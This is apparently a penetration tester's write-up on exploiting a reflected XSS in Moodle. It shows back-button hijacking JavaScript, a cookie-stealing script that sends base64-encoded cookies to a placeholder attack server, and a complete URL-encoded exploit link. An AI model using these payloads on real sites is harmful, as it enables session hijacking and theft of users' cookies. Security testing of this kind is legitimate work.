↩️XSS Security Policy Bypass

Bypassing security policy to exploit cross-site scripting using browser history

I recently was doing a pentest and came across a Moodle reflected XSS. This is a simple to exploit XSS but I wanted to demonstrate to the client how an attacker would exploit it and steal cookies remotely if they sent a link to the user.

The issue with this idea was the security policy for this site was locked down and I couldn't use a simple payload like:

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>

Because of this I had to find other ways around the security policy. That's when some social engineering tricks popped into my head. What if we just hijacked something the user won't see and then asked them to do something that triggered the hijacked path?

The first thing that popped into my head was the back arrow that we all have in our browser. Could that be hijacked?

It turned out yes, it could be pretty easily using some code like this:

(function(window, location) {
    history.replaceState(null, document.title, location.pathname+"#!/stealingyourhistory");
    history.pushState(null, document.title, location.pathname);

    window.addEventListener("popstate", function() {
      if(location.hash === "#!/stealingyourhistory") {
            history.replaceState(null, document.title, location.pathname);
            setTimeout(function(){
              location.replace("http://www.programadoresweb.net/");
            },0);
      }
    }, false);
}(window, location));

Now, with the back arrow hijacked we want the user to send their cookies to our attack server when they press the back arrow. This can be done with something like this:

var encodedCookies = btoa(document.cookie);
var targetUrl = 'http://<attack server>/?cookies=' + encodedCookies;

With that we can now combine the two and, adding a little "error" telling the user to go back, we get something like this:

(function(window, location) {
	var encodedCookies = btoa(document.cookie);
	document.write('Error. Please go back a page and retry.');
	var targetUrl = 'http://<attack server>/?cookies=' + encodedCookies;
	history.replaceState(null, document.title, location.pathname+'#!/stealingyourhistory');
	history.pushState(null, document.title, location.pathname);
	window.addEventListener('popstate', function() {
		if(location.hash === '#!/stealingyourhistory') {
			history.replaceState(null, document.title, location.pathname);
			setTimeout(function(){location.replace(targetUrl);},0);
		}
	},false);
}(window, location));

Now, I am exploiting the Moodle XSS so my payload looked like this:

https://<moodle site>/mod/lti/auth.php?redirect_uri=javascript:(function(window,%20location)%20{var%20encodedCookies%20=%20btoa(document.cookie)%3Bdocument.write('Error. Please go back a page and retry.')%3Bvar%20targetUrl%20=%20%27http://<attacker server>/?cookies=%27%20%2B%20encodedCookies%3Bhistory.replaceState(null,%20document.title,%20location.pathname%2B%27%23%21/stealingyourhistory%27)%3Bhistory.pushState(null,%20document.title,%20location.pathname)%3Bwindow.addEventListener(%27popstate%27,%20function()%20{if(location.hash%20===%20%27%23%21/stealingyourhistory%27)%20{history.replaceState(null,%20document.title,%20location.pathname)%3BsetTimeout(function(){location.replace(targetUrl)%3B},0)%3B}},false)%3B}(window,%20location))%3B

And now we have successfully gotten around the security policy in a way that demonstrates to the customer the risk associated with this vulnerability.

Last updated